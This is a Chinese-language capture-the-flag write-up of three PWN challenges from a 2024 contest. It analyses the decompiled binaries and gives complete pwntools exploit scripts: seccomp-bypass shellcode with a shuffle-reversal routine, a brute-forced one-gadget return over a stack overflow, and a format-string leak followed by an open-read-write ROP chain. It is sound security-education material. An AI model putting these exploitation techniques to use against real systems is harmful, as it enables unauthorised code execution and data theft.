2024春秋杯網路安全聯賽夏季賽-PWN-Writeup

山西小嫦娥發表於2024-07-09

2024春秋杯網路安全聯賽夏季賽-PWN-Writeup

只打了第一天,費了好大勁,終於三道都出了。

image-20240709125601478

Shuffled_Execution

保護全開,ida檢視虛擬碼:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  char *s; // [rsp+28h] [rbp-18h]
  unsigned __int64 len; // [rsp+30h] [rbp-10h]

  init();
  s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( s == (char *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
  len = strlen(s);
  shuffle((__int64)s, len);
  if ( len <= 0xAF )
  {
    sandbox();
    entrance();
    LODWORD(v3) = 0;
  }
  else
  {
    return (int)"Error triggered...";
  }
  return v3;
}

可以看道mmap申請0x1337000處0x1000大小的記憶體空間,使用syscall系統呼叫來呼叫read函式向記憶體中進行寫入。

shuffle函式會打亂我們輸入的內容。

判斷長度小於等於0xAF之後會然後開啟沙箱,然後entrance()函式會讓程式跳轉到0x1337000處去執行。

shuffle函式的虛擬碼:

unsigned __int64 __fastcall shuffle(__int64 input, unsigned __int64 len)
{
  char v3; // [rsp+1Bh] [rbp-15h]
  int i; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  srand(4919u);
  if ( len > 1 )
  {
    for ( i = 0; i < len >> 1; ++i )
    {
      v5 = rand() % len;
      v3 = *(_BYTE *)(i + input);
      *(_BYTE *)(i + input) = *(_BYTE *)(input + v5);
      *(_BYTE *)(v5 + input) = v3;
    }
  }
  return v6 - __readfsqword(0x28u);
}

程式實現的是隨機交換程式中的位元組,程式中的這種隨機其實是偽隨機,我們可以出每次隨機的數的。

在exp中我們可以模擬上述隨機數生成的過程,寫出預處理函式來先進行預處理,這個預處理所實現的功能就是讓程式進行shuffle()函式打亂之後的順序反而是我們預期想要的順序

def unshuffle(shuffled_bytes, seed=4919):
    #random.seed(seed)
    libc.srand(4919)
    
    # Find the first occurrence of \x00
    null_byte_index = shuffled_bytes.find(b'\x00')
    # Use the index of \x00 if it exists, otherwise use the full length
    len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
    shuffled_list = list(shuffled_bytes[:len_input])
    indices = list(range(len_input))
    if len_input > 1:
        swaps = []
        for i in range(len_input >> 1):
            v5 = libc.rand() % len_input
            swaps.append((i, v5))

        # Reverse the swaps
        for i, v5 in reversed(swaps):
            v3 = shuffled_list[v5]
            shuffled_list[v5] = shuffled_list[i]
            shuffled_list[i] = v3

    return bytes(shuffled_list)+shuffled_bytes[len_input:]

再來看看沙箱規則:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

open被辦ban了,這裡用openat代替。

read被ban了,這裡用preadv2代替。

write被ban了,這裡用writev代替。

完整exp:

from pwn import *
from ctypes import *

shellcode = '''
	mov rbp,0x1337100
	mov rsp,rbp
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor rdx, rdx
    push SYS_openat
    pop rax
    syscall

    mov rdi, 3
    push 0x30
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv2
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x30
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall
'''

def unshuffle(shuffled_bytes, seed=4919):
    libc.srand(4919)
    # Find the first occurrence of \x00
    null_byte_index = shuffled_bytes.find(b'\x00')
    # Use the index of \x00 if it exists, otherwise use the full length
    len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
    shuffled_list = list(shuffled_bytes[:len_input])
    indices = list(range(len_input))
    if len_input > 1:
        swaps = []
        for i in range(len_input >> 1):
            v5 = libc.rand() % len_input
            swaps.append((i, v5))
        # Reverse the swaps
        for i, v5 in reversed(swaps):
            v3 = shuffled_list[v5]
            shuffled_list[v5] = shuffled_list[i]
            shuffled_list[i] = v3
    return bytes(shuffled_list)+shuffled_bytes[len_input:]

p = process('./pwn')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
context(os='linux', arch='amd64', log_level='debug')

# 將 shellcode 轉換為機器碼
shellcode = asm(shellcode)
# 對 shellcode 進行預處理
preprocessed_payload = unshuffle(shellcode)
p.send(preprocessed_payload)
print(p.recv())
print(p.recv())

賽後看到imarch22師傅的部落格,看道師傅有一個思路是直接利用\x00進行截斷。實際操作就是在shellcode前面加個"mov eax,0",轉成位元組碼\xb8\x00\x00\x00\x00,這行程式在進行strlen的時候返回值是1,程式在進行洗牌的時候i < len >> 1直接不滿足條件,就不會進行打亂。省去了我寫unshuffle()函式的過程。

stdout

考setvbut

setvbuf 函式原型

int setvbuf(FILE *stream, char *buffer, int mode, size_t size);

引數說明

  • stream: 檔案流指標,例如 stdinstdoutstderr
  • buffer: 指向緩衝區的指標。如果為 NULL0LL,則使用系統提供的緩衝區。
  • mode:緩衝模式,可以是以下之一:
    • _IOFBF: 全緩衝。全緩衝模式下,資料會被儲存在一個緩衝區中,直到緩衝區滿或者顯式地重新整理(如呼叫 fflush 函式),然後一次性寫入或讀取。
    • _IOLBF: 行緩衝。行緩衝模式下,資料在遇到換行符(\n)時或者緩衝區滿時進行重新整理(寫入或讀取)。
    • _IONBF: 無緩衝。無緩衝模式下,資料不經過緩衝區,而是直接寫入或讀取。這意味著每個 I/O 操作都會立即進行系統呼叫,資料會實時反映在目標裝置上。
  • size: 緩衝區大小。如果 bufferNULL0LL,此引數被忽略。

本題有很明顯的棧溢位,但是stdout設定的全緩衝,正常思路是用csu呼叫setvbut來設定為無緩衝來進行洩露libc打ret2libc,我沒有這麼做,我直接打程式返回地址為onegadgets來拿到shell讀取flag的。1/4096的機率,爆破了大概十分鐘出了。

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
payload1 = b'a'*0x50+b'bbbbbbbb'+p64(0x0040125D)
main = 0x00401370
pop_r12_r13_r14_r15 = 0x04013cc
payload2 = b'a'*0x20+b'bbbbbbbb'+p64(pop_r12_r13_r14_r15)
payload2+= p64(0)*4+p64(main)
payload3 = b'a'*0x50+b'bbbbbbbb'+b'\xfe\x8a\x69'

for i in range(4096):
	try:
		p = process('./pwn')
		p.send(payload1)
		sleep(0.2)
		p.send(payload2)
		sleep(0.2)
		p.send(payload3)
		sleep(0.2)
		p.sendline(b'ls')
		p.sendline(b'cat flag')
		aaa = p.recv()
		if b'flag' in aaa:
			print(aaa)
			break
	except:
		p.close()
		continue
p.interactive()

SavethePrincess

透過迴圈爆破love的內容,來拿到格式化字串漏洞的利用許可權。

拿到格式化字串漏洞之後洩露canary、pie、libc、stack。

之後就是利用openat、pread64、puts來實現orw輸出flag。

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

zifu = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']

def duan():
	sleep(0.5)
	gdb.attach(p)
	pause()

def baopo():
	love = ''
	for j in range(8):
		for i in zifu:
			sleep(0.01)
			love_len = len(love)
			temp2 = '\\x0'+str(love_len+1)
			p.recvuntil(b'> \n')
			p.sendline(b'1')
			temp = love+i
			p.recvuntil(b'password: \n')
			p.send(temp.ljust(10,'a'))
			sleep(0.02)
			recv = p.recvline()
			if b'successfully' in recv:
				love+= i
				break
			print(temp2)
			if temp2 in str(recv):
				love+= i
				break
	return love

def fmt(password,payload):
	#p.recvuntil(b'> \n')
	p.sendline(b'1')
	p.recvuntil(b'password: \n')
	p.send(password)
	p.recvuntil(b'successfully, Embrace the power!!!\n')
	p.send(payload)

password = baopo()
p.send('aaaa')
fmt(password,b'%13$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print('canry-->'+hex(canary))

fmt(password,b'%23$p')
p.recvuntil(b'0x')
pie = int(p.recv(12),16)-0x01745
print('pie-->'+hex(pie))

fmt(password,b'%35$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16)-128-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))

fmt(password,b'%36$p')
p.recvuntil(b'0x')
stack = int(p.recv(12),16)-320
print('stack-->'+hex(stack))

pop_rdi_ret = libc_base+0x002a3e5
pop_rsi_ret = libc_base+0x002be51
buffer_addr = pie+0x04050
pop_rdx_r12_ret = libc_base+0x00011f2e7
pop_rax_ret = libc_base+0x045eb0
pop_rcx_ret = libc_base+0x03d1ee
syscall_ret = libc_base+0x029db4
preadv2 = libc_base+libc.symbols['preadv2']
pread64 = libc_base+libc.symbols['pread64']
buf = pie+0x04050
write = libc_base+libc.symbols['write']
puts = libc_base+libc.symbols['puts']
shuju = pie+0x00020DB
main = pie+0x0000176A
pop_rdx = pie+0x00017d6
pop_r10_ret = pie+0x0017D5
openat_addr = libc_base+libc.symbols['openat']
strncpy = libc_base+libc.symbols['strncpy']
flag_addr = libc_base+0x00001d618
write = libc_base+libc.symbols['write']
read = libc_base+libc.symbols['read']

rop_chain = p64(pop_rdi_ret)
rop_chain += p64(0xffffffffffffff9c)  # AT_FDCWD
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0)
rop_chain += p64(pop_rdx)
rop_chain += p64(0)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(openat_addr)

rop_chain += p64(pop_rdi_ret)
rop_chain += p64(3)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x30)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(pread64)

rop_chain += p64(pop_rdi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(puts)

rop_chain = rop_chain.ljust(0x1a0,b'\x00')
rop_chain += b'./flag\x00\x00'
rop_chain += b'111111'

p.sendline(b'2')
p.recvuntil(b'dragon!!\n')
padding = b'a'*0x38+p64(canary)+b'bbbbbbbb'
payload = padding + rop_chain
p.send(payload)
p.recvuntil(b'succeed?\n')
print(p.recv())
print(p.recv())

相關文章